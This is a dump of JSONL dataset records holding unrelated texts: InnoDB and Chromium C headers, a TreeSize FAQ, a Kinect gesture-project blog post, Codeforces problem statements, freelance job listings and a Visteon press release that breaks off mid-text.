\"innodb_force_recovery_crash=%lu\\n\", \\\n srv_force_recovery_crash); \\\n fflush(stderr); \\\n _exit(3); \\\n } \\\n } while (0)\n#endif /* UNIV_DEBUG */\n\n/** If buffer pool is less than the size,\nonly one buffer pool instance is used. */\n#define BUF_POOL_SIZE_THRESHOLD (1024 * 1024 * 1024)\n\n/** Frees the memory allocated by srv_parse_data_file_paths_and_sizes()\n and srv_parse_log_group_home_dirs(). */\nvoid srv_free_paths_and_sizes(void);\n\n/** Adds a slash or a backslash to the end of a string if it is missing\n and the string is not empty.\n @return string which has the separator if the string is not empty */\nchar *srv_add_path_separator_if_needed(\n char *str); /*!< in: null-terminated character string */\n#ifndef UNIV_HOTBACKUP\n\n/** Open an undo tablespace.\n@param[in] undo_space Undo tablespace\n@return DB_SUCCESS or error code */\ndberr_t srv_undo_tablespace_open(undo::Tablespace &undo_space);\n\n/** Upgrade undo tablespaces by deleting the old undo tablespaces\nreferenced by the TRX_SYS page.\n@return error code */\ndberr_t srv_undo_tablespaces_upgrade();\n\n/** Start InnoDB.\n@param[in]\tcreate_new_db\t\tWhether to create a new database\n@return DB_SUCCESS or error code */\ndberr_t srv_start(bool create_new_db) MY_ATTRIBUTE((warn_unused_result));\n\n/** Fix up an undo tablespace if it was in the process of being truncated\nwhen the server crashed. This is the second call and is done after the DD\nis available so now we know the space_name, file_name and previous space_id.\n@param[in] space_name undo tablespace name\n@param[in] file_name undo tablespace file name\n@param[in] space_id undo tablespace ID\n@return error code */\ndberr_t srv_undo_tablespace_fixup(const char *space_name, const char *file_name,\n space_id_t space_id);\n\n/** On a restart, initialize the remaining InnoDB subsystems so that\nany tables (including data dictionary tables) can be accessed. */\nvoid srv_dict_recover_on_restart();\n\n/** Start up the InnoDB service threads which are independent of DDL recovery\n@param[in]\tbootstrap\tTrue if this is in bootstrap */\nvoid srv_start_threads(bool bootstrap);\n\n/** Start the remaining InnoDB service threads which must wait for\ncomplete DD recovery(post the DDL recovery) */\nvoid srv_start_threads_after_ddl_recovery();\n\n/** Start purge threads. During upgrade we start\npurge threads early to apply purge. */\nvoid srv_start_purge_threads();\n\n/** If early redo/undo log encryption processing is done.\n@return true if it's done. */\nbool is_early_redo_undo_encryption_done();\n\n/** Copy the file path component of the physical file to parameter. It will\n copy up to and including the terminating path separator.\n @return number of bytes copied or ULINT_UNDEFINED if destination buffer\n is smaller than the path to be copied. */\nulint srv_path_copy(char *dest, /*!< out: destination buffer */\n ulint dest_len, /*!< in: max bytes to copy */\n const char *basedir, /*!< in: base directory */\n const char *table_name) /*!< in: source table name */\n MY_ATTRIBUTE((warn_unused_result));\n\n/** Get the encryption-data filename from the table name for a\nsingle-table tablespace.\n@param[in]\ttable\t\ttable object\n@param[out]\tfilename\tfilename\n@param[in]\tmax_len\t\tfilename max length */\nvoid srv_get_encryption_data_filename(dict_table_t *table, char *filename,\n ulint max_len);\n#endif /* !UNIV_HOTBACKUP */\n\n/** true if the server is being started */\nextern bool srv_is_being_started;\n/** true if SYS_TABLESPACES is available for lookups */\nextern bool srv_sys_tablespaces_open;\n/** true if the server is being started, before rolling back any\nincomplete transactions */\nextern bool srv_startup_is_before_trx_rollback_phase;\n\n/** TRUE if a raw partition is in use */\nextern ibool srv_start_raw_disk_in_use;\n\n#endif", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "//\n// DZKeyboardAdjust.h\n// Pods\n//\n// Created by stonedong on 16/2/21.\n//\n//\n\n#ifndef DZKeyboardAdjust_h\n#define DZKeyboardAdjust_h\n\n#endif /* DZKeyboardAdjust_h */", "source": "cpt_stack_code", "language": "code", "token_count": 60, "token_count_with_eod": 61, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Hello and welcome to our Knowledge Base. Our experts provide answers to the most frequently asked questions of our customers. Start your information search here to find your answer quickly and easily.\nPlease enter your query or select one of the above categories.\nAll entries (Page 11 / 15)\nFirst open the TreeSizeFile Search and configure your search. In your case you should use the \"OldestFiles\" Search or the \"Custom Search\" search for files by their last change datein absolute date (Oldest Files), or interval in days (Custom Search).Note: Do not select anydirectories to scan in the \"Scan Options\"!Than save the searchoptions via \"File > Save Search Options\" (e.g.:\"C:\\TreeSizeSearch\\older_1_year_search_option.xml\")Now use the TreeSize TaskScheduler (\"Tools > Schedule TreeSize Task\"), enter the paths tosearch in at \"Path to scan\" (e.g.: \"C:\\\" \"D:\\\")and select \"Start TreeSize File Search\", \"Use saved searchoptions:\nIf these folder are on the same level, then this is possible, because TreeSize supports wildcards on the root level. Simply scan:\nC:\\Folder\\OF???ARC or \\server\\share\\OF???ARC\nIf this is not the case, you can compile a list that contains only the folders in question by scanning the whole volume, export the results to Excel and filter the lines in question there using Excel 's AutoFilter.\n1) The \"Drives and Paths to Include\" are the drives and directories that will be searched. To search for individual files please activate the \"Custom Search\" type and add the file names on the \"Names\" tab of the custom file search.\n2) To search directories not present in the \"Drives and Paths to Include\" section please add them using the buttons below the list.\n3) Currently you can only copy the contents of the drives panel of the TreeSize main application. But we will add this feature to the TreeSize file search in V5.2 as well.\nThe behaviormay be caused through the fact that the name of the EXE changed fromTSizePro.exe in V4 to TreeSize.exe in V5.There isstill a Tsizepro.exe for compatibility reasons, but this simply callsTreeSize.exe with the given parameters and the exits.\nYes, you can sort TreeSize lists by any shown column by clicking on the header of the column. In case of the \"Last Access \" column, the list is sorted from the oldest to the newest date value. Click the header again to sort the list from the newest to the oldest. This behavior is equivalent to windows explorer.\nIf you run the installation file and provide the parameters\n/PASSWORD= on the command line, the software will perform an installation without any questions and just adhering to default values. Using\n/VERYSILENT instead of\n/SILENT prevents also a visual feedback. The option\n/DIR=\"X:\\InstallPath\" can be used to specify an alternative target directory for installation.\nPlease use the command line parameter\n/SIZEUNIT N to set the desired size unit in your exports. The parameter N is an integer value, denoting these settings:\n0 = Bytes; 1 = KB; 2 = MB; 3 =GB.\nIf you don't use this option, size information will be made the same way, like it was done in the last export/report.\nThe shown sizes refer to the used hard disk space as shown in the Directory Tree. These sizes indeed could be different, depending on compression and/or cluster size on the harddrive (see also the topic on Wasted Space in the product manual).\nEnabling the TreeSize column for every folder can be done in the folder options menu of the Windows Explorer.\nThe Personal Edition has the same features as the Professional Edition, except that it cannot be used with Windows server operating systems, does not support scans of network shares which are part of a Windows domain, provides no command line options and no scheduled scans.\nThe Personal edition scans network drives if the computer it runs on is not part of a Windows domain and the remote system is not a Windows server. This enables customers of the Personal Edition to scan network drives in their home network, including NAS systems based on Linux and Samba.\nPlease find a comparison chart here.\nThe XML files were meant to store the complete results of a scan for recalling them later and to compare them with the latest scan results. So there was (and is) no need for limiting the result display to a certain scan level.\nIf you are interested only in the uppermost level of the file system, CSV or Excel exports are quite comfortable, too.\nIf you simply want to reduce the total size of the XML file, you could deactivate the statistics on users and file types.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1017, "token_count_with_eod": 1018, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I had to divide this in two parts because of some critical decision making and idea debates.\nYes, on the second day, Samantha and I exchanged ideas and pros and cons of each kind of approach that we could take to accomplish our project :\n- If we use the Microsoft Kinect, we could capture the skeleton of the user via the Infrared Projector and Infrared Sensor on the Kinect, so the vision processing part would be mostly solved. All left would be (though challenging) - the identification of the gesture and mapping gestures to music files. Further, the Kinect has a lot of libraries for both Mac OS X and Windows, and those can be easily used with the Android tablet and Mac and Windows computers.\n- If we use a simple camera with OpenCV for image/video processing, we would have to literally do a PhD thesis within 5 day span to figure out the locations of body joints of the user from a single 2D image. Naturally, for a first-attempt vision project this is difficult. But the advantage would be that the application could be designed for all kinds of devices including the iPhone.\nTo be realistic and to enjoy some risk taking, we decided to start working with the Kinect first and see how that goes. We aim that if the Kinect is not helping us in making the application, we will switch to OpenCV.\nSo, a step-wise plan (mostly tailored for working with the Kinect) is as follows:\n- Get the skeleton image and information of 1 single person.\n- Since the demonstration is in a public and heavily occupied space, focus on the user of our application in the crowded area.\n- Decide a maximum of 3 gestures for demonstration purposes for the application, to be installed by the following procedure:\n- Have SOME user Motion —-> Play Music (Any file)\n- Have 1 SPECIFIC gesture (sequence of postures rather than a ‘still’ posture) —-> Play Music (Any file)\n- Have 1 SPECIFIC gesture (sequence of postures rather than a ‘still’ posture) —-> Play 1 SPECIFIC music file/Playlist\n- Install other 2 SPECIFIC gestures —-> Play other types of music files/playlists\n- Note: All these music files will be played on the laptop rather than a mobile device\nNow enough talking ! Lets jump to some real action!\nSo I spent most of Sunday night trying to get the Kinect working with Mac OS X Mountain Lion. Here are some things that happened in this process:\n- I learnt that the OpenNI (Open Natural Interaction) library is used for interacting with devices like the Kinect (devices with Infrared cameras) as there is no external input from a mouse or keyboard (only body movements by the user).\n- There are a TON of websites for helping with installation for Kinect software. When I say Kinect software I mean libraries that we can use for development and tapping resources on the Kinect for Xbox 360 (that is what we are given by the Build18 competition Staff). Kinect for Windows is a good option too – it has really cool libraries for many applications. But not for Mac OS X.. I particularly liked this one : http://developkinect.com/resource/mac-os-x/install-openni-nite-and-sensorkinect-mac-os-x, however, I got really frustrated after re-doing the procedure for about 6 times, so I used old versions of the OpenNI and NITE libraries with SensorKinect to get things working and code in C++.\n- The sad thing was that I couldn’t find any source code guides/documentation to help me with skeleton tracking using these libraries (I promise I searched a lot). During my search I saw Processing being a really poplular choice, so I decided to give it a shot. This website is AWESOME : http://learning.codasign.com/index.php?title=Using_the_Kinect_with_Processing . I will eventually be uploading some videos of modified, compiled code (credits to the website http://learning.codasign.com/index.php?title=Using_the_Kinect_with_Processing for cool tutorials). I am still unhappy with the inaccuracy of the skeleton mapping, but its a wonderful feeling to actually code something and make things work!!!\nSo we really want to do the complicated gesture tracking rather than a ‘still’ gesture like having your hands up in the air for ages. For a simple (yet complicated as it involves the motion of hands, look at the following demo - http://youtu.be/DkgDjqiWArc). We AIM to have some sort of a program/tool to recognize that the user is moving their right hand diagonally (left in the reflected picture). So that is the fun part\nPS – I really like Processing as a beginner for Computer Vision and Kinect projects. There is OpenCV for Processing as well but I am trying to decide the algorithm for gesture recognition from the skeletal information at this point. In my next post, I will describe what Samantha and I are doing for the music player and how we will deal with accuracy of skeletal information.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1043, "token_count_with_eod": 1044, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "An array $$$b$$$ is called to be a subarray of $$$a$$$ if it forms a continuous subsequence of $$$a$$$, that is, if it is equal to $$$a_l$$$, $$$a_{l + 1}$$$, $$$\\ldots$$$, $$$a_r$$$ for some $$$l, r$$$.\n\nSuppose $$$m$$$ is some known constant. For any array, having $$$m$$$ or more elements, let's define it's beauty as the sum of $$$m$$$ largest elements of that array. For example:\n\n- For array $$$x = [4, 3, 1, 5, 2]$$$ and $$$m = 3$$$, the $$$3$$$ largest elements of $$$x$$$ are $$$5$$$, $$$4$$$ and $$$3$$$, so the beauty of $$$x$$$ is $$$5 + 4 + 3 = 12$$$.\n- For array $$$x = [10, 10, 10]$$$ and $$$m = 2$$$, the beauty of $$$x$$$ is $$$10 + 10 = 20$$$.\n\nYou are given an array $$$a_1, a_2, \\ldots, a_n$$$, the value of the said constant $$$m$$$ and an integer $$$k$$$. Your need to split the array $$$a$$$ into exactly $$$k$$$ subarrays such that:\n\n- Each element from $$$a$$$ belongs to exactly one subarray.\n- Each subarray has at least $$$m$$$ elements.\n- The sum of all beauties of $$$k$$$ subarrays is maximum possible.", "source": "cpt_codeforces", "language": "en", "token_count": 342, "token_count_with_eod": 343, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "This is the easy version of the problem. The difference between the versions is that in this version, you need to find any one good array. You can hack only if you solved all versions of this problem.\n\nKevin is visiting the Red Church, and he found a puzzle on the wall.\n\nFor an array $$$ a $$$, let $$$ c(l,r) $$$ indicate how many distinct numbers are among $$$ a_l, a_{l+1}, \\ldots, a_r $$$. In particular, if $$$ l > r $$$, define $$$ c(l,r) = 0 $$$.\n\nYou are given a string $$$ s $$$ of length $$$ n $$$ consisting of letters $$$ \\texttt{L} $$$ and $$$ \\texttt{R} $$$ only. Let a non-negative array $$$ a $$$ be called good, if the following conditions hold for $$$ 1 \\leq i \\leq n $$$:\n\n- if $$$s_i=\\verb!L!$$$, then $$$c(1,i-1)=a_i$$$;\n- if $$$s_i=\\verb!R!$$$, then $$$c(i+1,n)=a_i$$$.\n\nIf there is a good array $$$a$$$, print any of the good arrays. Otherwise, report that no such arrays exists.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "A regular bracket sequence is a bracket sequence that can be transformed into a correct arithmetic expression by inserting characters \"1\" and \"+\" between the original characters of the sequence. For example:\n\n- bracket sequences \"()()\" and \"(())\" are regular (the resulting expressions are: \"(1)+(1)\" and \"((1+1)+1)\");\n- bracket sequences \")(\", \"(\" and \")\" are not.\n\nYou are given two strings $$$s$$$ and $$$a$$$, the string $$$s$$$ has length $$$n$$$, the string $$$a$$$ has length $$$n - 3$$$. The string $$$s$$$ is a bracket sequence (i. e. each element of this string is either an opening bracket character or a closing bracket character). The string $$$a$$$ is a binary string (i. e. each element of this string is either 1 or 0).\n\nThe string $$$a$$$ imposes some constraints on the string $$$s$$$: for every $$$i$$$ such that $$$a_i$$$ is 1, the string $$$s_i s_{i+1} s_{i+2} s_{i+3}$$$ should be a regular bracket sequence. Characters of $$$a$$$ equal to 0 don't impose any constraints.\n\nInitially, the string $$$s$$$ may or may not meet these constraints. You can perform the following operation any number of times: replace some character of $$$s$$$ with its inverse (i. e. you can replace an opening bracket with a closing bracket, or vice versa).\n\nDetermine if it is possible to change some characters in $$$s$$$ so that it meets all of the constraints, and if it is possible, calculate the minimum number of characters to be changed.", "source": "cpt_codeforces", "language": "en", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "...extract business data from Google Map (*Please zoom map up to 20m for larger data extraction) FORMAT TO SAVE LIST: CSV or EXCEL LIST OF DATA FIELDS REQUIRED: Business Name Address City State Zip Phone Fax (if available) Email id (if available) Website URL (if available) COUNTRY: Malaysia KEYWORDS/TARGET LOCATION: (The list below shows the industrial\nmembuat aplikasi spt medsos dan chat. dan applikasi dpt di download d google play dan apps store\nProyek saya adalah : ini tentang saya. dimana, saya ingin memperbagus template blog saya, memperbanyak follower di Google+, membuat youtube yang berkaitan dengan blog travelling saya, meningkatkan jumlah follower di Fanpage saya, mengurus twitter, pinterest.\nWe have 100 videos in Google cloud platform you have to create embedded link of all file and sed us a excel sheet\nMigrate from M1 to M2 13 ORDERS - 5 CUSTOMERS - 6 Online visit list please to M2 Need done today. Price is 15$ Fixed\nI need some who helps me with adwords campaign setup. My budget is 20$ for only setup\nI'm looking for a list of all Digital Marketing Agencies in the United States. This list should include: - Company Name - Company Address - Company Contact Information - Company Decision-Maker Contact Email - Company Phone Number\nI need an app built that rewards users with our erc20 etherium token. users will opt in to watch videos do Google's AdSense program. users will be rewarded what specific amount of tokens her video they watch. users will be able to send and receive tokens to other users through the app along with a message. users will be able to export the token to an ethereum address.\nI have a centos 7 server with python3, pip & selenium installed I need help installing Google chrome drivers so selenium can use them This is a headless application :) (Also I need you to walk me through the commands to use to figure out where the drivers are installed and how to make python and selenium connect to them :)\nADWORDS - GOOGLE ADS EXPERT! NEEDED - SETUP AND OPTIMIZE MY ADS CAMPAIGN I WILL PAY YOU $200!! BUT ONLY AFTER YOU GENERATE ME 400$ IN SALES - SO DONT BID IF YOURE NOT PROFFESIONAL\n...provide statistical data such as session, user login, search history data using Google Analytics. SQL details are as follows Need two tables one will take data dynamically from frontend of the website Another table will have static data exported one time from excel sheet. Google Analytics details are as follows Need customer session information searches\nCreate link for direct embeding videos from Google cloud platform using ffmpeg hls encrypted streaming. To be embedded on WordPress\nI need to improve the site speed on mobile for a website. The issue is that third-party js and CSS files used by plugins are slowing the site. Need someone with expertise to fix this.\nWe have our own site www.jointheedots.com. We want to apply proper SEO on our site to get ranked within first or second page against some specific keywords. Experienced freelancers on expert on Wordpress SEO can apply. The site is built in wordpress.\nHi. This is a very straight forward project, and I just need an accurate typist to help to input information for a mailing list. From our association's website, I need to put the company name, address, and telephone number into an Excel file. There is about 2500 names and addresses to put in.\nSet up ffmpeg for hls encrypted video streaming with token authentication. Video will be embedded in WordPress wplms theme\nWe need to set up E-Commerce for our website. It currently runs on a custom Vue.js + TypeScript template. The e-commerce setup: - must be compatible with google-analytics e-commerce. - should be compatible with [log masuk untuk melihat URL] e-commerce (optional). Necessary knowledge of: - Vue.js 2.5.x - TypeScript ^2.8.x - Git Work process is the following: - We\nI had my (Android + Firebase) chatting app removed from Google play store due to \"Call log and SMS access permission violation\" I need a coder to fix the code if necessary and fill any required forms and upload the code again to google play.\n...script to get Facebook Ads API data reporting into Google Sheet on hourly basis. this project is for a developer who has experience and already developed something like this area, there is no budget for building from scratch. We need a script to import multiple Facebook Ads accounts into Google sheet. Structure is: - user login using Facebook Oauth\n...tools/functions/scripts. until then, I can not be assured you have made this one. so I can not release any milestone. even few percentage. I can not release milestone before seeing the results from your tools. Please be notified this. Thank you for reading! Have a good day and bid me if you think you can build one. Anytime ! And I am willing to respond very quickly\n...keyword or something on google, you can see listed websites, blogs, e-commerce stores related to. I simply need a tool that extracting all the contacts of those, listed websites and domains. That automatically extracting :) Needed achievement. 1. Should be able to execute the search behave over 10,000 times continuously. on google. (might need to add\nHere’s what I need; 4 banners for FB and IG AD Banner 1- Banner with great background (image should describe making money because it will be use for affiliate program) Text : ————— Logo —————— Who want more than $600/ week? > 40-75% comission > Free Product Banner 2- Banner with great background (image should ...\nOur small business currenty uses dropbox for storage, icloud for calanders and go daddy for web services. We want to chage everything to google and streamline the system. We need an IT person to come to our office in New York City and make the change over.\nOverview: Move the data from the Price Finder sheet to the Radius sheet 1a. Move the data to a google sheet and share it with me 1b. Look at the street number Price Finder sheet and move the line to the Radius sheet. 2. Do not overwrite data. 3. Look at the red text in the Sheets, this has already been moved from the Price Finder sheet to the Radius\n...learner and I am looking for a really knowledgeable person in this domain.. I would like my tutor to be good at the following Hands on in Tensor Flow, opencv,darkflow,yolo, on google colab knowledge in Artificial Neural Network & Different types of it Should be able to teach complex ideas with simplicity Looking for a friend, whom I can chat my doubts with\nI need integration of ''Signup with google'' to my IOS application. Currently app is using standart email and facebook signup; sign up with google should be integrated in accordance with the standart current sign up process of the app. I will provide the code via bitbucket, code is in swift.\nIf you are an expert in PPC (Adwords) campaign management and excited to work on a challenging environment, This job is for you. We need to setup and run an AdWords campaign for an Online Poker website for the location of Indonesia. The budget is USD $100/day but before we run it in full fledged, you need to Run a test campaign and show me the screenshots. If you have past experience with simila...\n...motivated by the necessity of high accuracy when dealing with human life. Also, computer assistance is demanded in medical institutions due to the fact that it could improve the results of humans in such a domain where the false negative cases must be at a very low rate. Processing of Magnetic Resonance Imaging (MRI) images is one of the techniques to diagnose\nThis project allows for customers to be referred to us by a 3rd party. When a customer is referred the data relating to this is populated into an Excel spreadsheet. Each row of data in this sheet must be converted into a GET and executed. When this completes successfully, this is written to that row of the sheet. If there are errors then this is written instead. We require an Excel add-on to allo...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1728, "token_count_with_eod": 1729, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "You have a team of N people. For a particular task, you can pick any non-empty subset of people. The cost of having x people for the task is xk.\n\nOutput the sum of costs over all non-empty subsets of people.", "source": "cpt_codeforces", "language": "en", "token_count": 50, "token_count_with_eod": 51, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Now let's add some callouts to the screenshots. Select an image to work on take a look at shapes toolbar.\nSelect shape style (we use \"Red and Yellow\" here). Click on rectangle shape on the toolbar and draw it where you want callout to appear. Now select \"Arrow\" shape and connect rectangle with a target element, in our case the toolbar buttons. Double click the rectangle and enter text into \"Caption\" field.\nTable of contents:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "After a long, tough, but fruitful day at DTL, Ela goes home happily. She entertains herself by solving Competitive Programming problems. She prefers short statements, because she already read too many long papers and documentation at work. The problem of the day reads:\n\nYou are given an integer $$$c$$$. Suppose that $$$c$$$ has $$$n$$$ divisors. You have to find a sequence with $$$n - 1$$$ integers $$$[a_1, a_2, ... a_{n - 1}]$$$, which satisfies the following conditions:\n\n- Each element is strictly greater than $$$1$$$.\n- Each element is a divisor of $$$c$$$.\n- All elements are distinct.\n- For all $$$1 \\le i < n - 1$$$, $$$\\gcd(a_i, a_{i + 1})$$$ is a prime number.\n\nIn this problem, because $$$c$$$ can be too big, the result of prime factorization of $$$c$$$ is given instead. Note that $$$\\gcd(x, y)$$$ denotes the greatest common divisor (GCD) of integers $$$x$$$ and $$$y$$$ and a prime number is a positive integer which has exactly $$$2$$$ divisors.", "source": "cpt_codeforces", "language": "en", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Welcome to The [Expletive] Project!\nThis is the subreddit for a super secret project that is doing the impossible: ending digital piracy, in a way that doesn't suck for anyone. It's a digital publishing and content delivery service that serves up every type of digital content.\nThis project is based on technologies that you probably use every day and business plans that enabled the creation of all kinds of things you'd recognize, with the philosophy that things can really be fair if you're smart about it and that small things matter, and is a deliberate act of sedition towards unjust and tyrannical attempts to force a failed system, and made in belligerent opposition towards attempts to abandon real solutions to complex problems. People don't need to be told what the right thing to do is, or that they need to do it, because we're really good at that; we just need better tools for doing those things.\nThis is a real project, it is well on it's way to accomplishing its' first goals, and is nearing the point where I can share it with the awesome people reading this. This subreddit is a place for me to answer the questions I can about what's involved, tell you guys what's going on, and to serve as a place where people can put up relevant links and share info that is related in any way.\nI'm working on this alone, full time, without funding. If you can spare a buck or two, it would really help me a lot. I'll add a paypal donation link here soon: for now, you can donate bitcoins to me here:", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "A sequence of non-negative integers $$$a_1, a_2, \\dots, a_n$$$ is called growing if for all $$$i$$$ from $$$1$$$ to $$$n - 1$$$ all ones (of binary representation) in $$$a_i$$$ are in the places of ones (of binary representation) in $$$a_{i + 1}$$$ (in other words, $$$a_i \\:\\&\\: a_{i + 1} = a_i$$$, where $$$\\&$$$ denotes bitwise AND). If $$$n = 1$$$ then the sequence is considered growing as well.\n\nFor example, the following four sequences are growing:\n\n- $$$[2, 3, 15, 175]$$$ — in binary it's $$$[10_2, 11_2, 1111_2, 10101111_2]$$$;\n- $$$[5]$$$ — in binary it's $$$[101_2]$$$;\n- $$$[1, 3, 7, 15]$$$ — in binary it's $$$[1_2, 11_2, 111_2, 1111_2]$$$;\n- $$$[0, 0, 0]$$$ — in binary it's $$$[0_2, 0_2, 0_2]$$$.\n\nThe following three sequences are non-growing:\n\n- $$$[3, 4, 5]$$$ — in binary it's $$$[11_2, 100_2, 101_2]$$$;\n- $$$[5, 4, 3]$$$ — in binary it's $$$[101_2, 100_2, 011_2]$$$;\n- $$$[1, 2, 4, 8]$$$ — in binary it's $$$[0001_2, 0010_2, 0100_2, 1000_2]$$$.\n\nConsider two sequences of non-negative integers $$$x_1, x_2, \\dots, x_n$$$ and $$$y_1, y_2, \\dots, y_n$$$. Let's call this pair of sequences co-growing if the sequence $$$x_1 \\oplus y_1, x_2 \\oplus y_2, \\dots, x_n \\oplus y_n$$$ is growing where $$$\\oplus$$$ denotes bitwise XOR.\n\nYou are given a sequence of integers $$$x_1, x_2, \\dots, x_n$$$. Find the lexicographically minimal sequence $$$y_1, y_2, \\dots, y_n$$$ such that sequences $$$x_i$$$ and $$$y_i$$$ are co-growing.\n\nThe sequence $$$a_1, a_2, \\dots, a_n$$$ is lexicographically smaller than the sequence $$$b_1, b_2, \\dots, b_n$$$ if there exists $$$1 \\le k \\le n$$$ such that $$$a_i = b_i$$$ for any $$$1 \\le i < k$$$ but $$$a_k < b_k$$$.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Not so long ago, Vlad had a birthday, for which he was presented with a package of candies. There were $$$n$$$ types of candies, there are $$$a_i$$$ candies of the type $$$i$$$ ($$$1 \\le i \\le n$$$).\n\nVlad decided to eat exactly one candy every time, choosing any of the candies of a type that is currently the most frequent (if there are several such types, he can choose any of them). To get the maximum pleasure from eating, Vlad does not want to eat two candies of the same type in a row.\n\nHelp him figure out if he can eat all the candies without eating two identical candies in a row.", "source": "cpt_codeforces", "language": "en", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "in context of Artificial Neural Networks:\nFor a 'neuron' to learn something, there must be:\nThen we can analyse how this change affected 'neuron', and how closer or further away it is from it's goal, a desired behaviour.\nWith enough of time, with analysis, with a certain degree of control of changes, changes might become more rapid, bigger, smarter, better.\nSee also: Neural Networks, Stitie Space, Simple Artificial Intelligence.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 97, "token_count_with_eod": 98, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "// Copyright 2018 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef IOS_CHROME_BROWSER_UI_ORCHESTRATOR_LOCATION_BAR_OFFSET_PROVIDER_H_\n#define IOS_CHROME_BROWSER_UI_ORCHESTRATOR_LOCATION_BAR_OFFSET_PROVIDER_H_\n\n#import \n\n// Protocol for vending an x offset for a string.\n@protocol LocationBarOffsetProvider\n\n// Provides an offset for a given string in the callee's coordinates, if any.\n// Returns a default value (based on callee's font) if the |string| is not a\n// substring of the string displayed by callee.\n- (CGFloat)xOffsetForString:(NSString*)string;\n\n@end\n\n#endif // IOS_CHROME_BROWSER_UI_ORCHESTRATOR_LOCATION_BAR_OFFSET_PROVIDER_H_", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Or use something like R or Python for data analysis, slicing and dicing etc. Problem is always a lack of knowledge.\nNot a member of The Register?\nCreate a new account\nRemember me on this computer?\nThe Register - Independent news and views for the tech community. Part of Situation Publishing\nBiting the hand that feeds IT © 1998–2021", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "|By PR Newswire||\n|February 25, 2013 09:45 AM EST||\nVAN BUREN TOWNSHIP, Mich., Feb. 25, 2013 /PRNewswire/ -- Visteon Corporation (NYSE: VC) has been awarded a development and production program for its latest infotainment system by a major European car manufacturer. With production launch targeted for the 2015 model year, this program represents the first market implementation of Visteon's next-generation infotainment platform in this rapidly growing segment.\nVisteon's latest infotainment solution is capable of multi-device connectivity to deliver apps and features, stream media, access the Internet and seamlessly integrate both Cloud-based and local content to drivers and passengers via a simple and flexible user interface. The system also enables software updates over the lifetime of the vehicle, further enhancing value to vehicle manufacturers and the end consumer. This will be one of the first automotive implementations of an 'open source' platform and associated applications based on the requirements of GENIVI®, a non-profit alliance committed to driving broad adoption of an in-vehicle infotainment open source development platform.\n\"This next-generation platform demonstrates Visteon's leadership in setting the course for the industry in vehicle infotainment,\" said Steve Meszaros, president, Visteon Electronics. \"Bringing the cutting-edge technology of the consumer electronics world to the vehicle, this new product fulfills our vision, and that of our customers, to deliver a superior user experience for the driver and passengers.\"\nWith its strong foothold in the market, Visteon is well-positioned for above-market annual growth in the audio infotainment segment, which as a whole is projected to grow at an annual rate of more than 12 percent over the next five years.\nVisteon provides connected audio and embedded connectivity solutions on more than 5 million vehicles annually for global vehicle manufacturers. Visteon's infotainment range also includes automotive and content partnerships to deliver an industry-leading user experience through improved connectivity, human-machine interaction (HMI) interface and content.\nVisteon is a leading global automotive supplier delivering value for vehicle manufacturers and shareholders through a family of businesses including:\n- Halla Visteon Climate Control, majority-owned by Visteon and the world's second largest global supplier of automotive climate components and systems.\n- Visteon Electronics, a leading supplier of audio/infotainment, driver information, center stack electronics and feature control modules.\n- Visteon Interiors, a global provider of vehicle cockpit modules, instrument panels, consoles and door trim modules.\n- Yanfeng Visteon Automotive Trim Systems Co., Ltd., a successful China-based partnership between Visteon and Shanghai Automotive Industry Corporation's automotive components group, Huayu Automotive Systems.\nThrough this family of enterprises, Visteon designs, engineers and manufactures innovative components and systems for virtually every vehicle manufacturer worldwide, and these businesses generated more than $12 billion in sales in 2011, including unconsolidated operations. With corporate offices in Van Buren Township, Mich. (U.S.); Shanghai, China; and Chelmsford, UK; Visteon has facilities in 28 countries and employs through its various businesses, including unconsolidated operations, approximately 55,000 people. Learn more at www.visteon.com.\nThis press release contains \"forward-looking statements\" within the meaning of the Private Securities Litigation Reform Act of 1995. Forward-looking statements are not guarantees of future results and conditions but rather are subject to various factors, risks and uncertainties that could cause our actual results to differ materially from those expressed in these forward-looking statements, including, but not limited to: (1) conditions within the automotive industry, including (i) the automotive vehicle production volumes and schedules of our customers, (ii) the financial condition of our customers and the effects of any restructuring or reorganization plans that may be undertaken by our customers or suppliers, including work stoppages, and (iii) possible disruptions in the supply of commodities to us or our customers due to financial distress, work stoppages, natural disasters or civil unrest; (2) our ability to satisfy future capital and liquidity requirements; including our ability to access the credit and capital markets at the times and in the amounts needed and on terms acceptable to us; our ability to comply with financial and other covenants in our credit agreements; and the continuation of acceptable supplier payment terms; (3) our ability to satisfy pension and other post-employment benefit obligations; (4) our ability to access funds generated by foreign subsidiaries and joint ventures on a timely and cost-effective basis; (5) our ability to execute on our transformational plans and cost-reduction initiatives in the amounts and on the timing contemplated; (6) general economic conditions, including changes in interest rates, currency exchange rates and fuel prices; (7) the timing and expenses related to internal restructurings, employee reductions, acquisitions or dispositions and the effect of pension and other 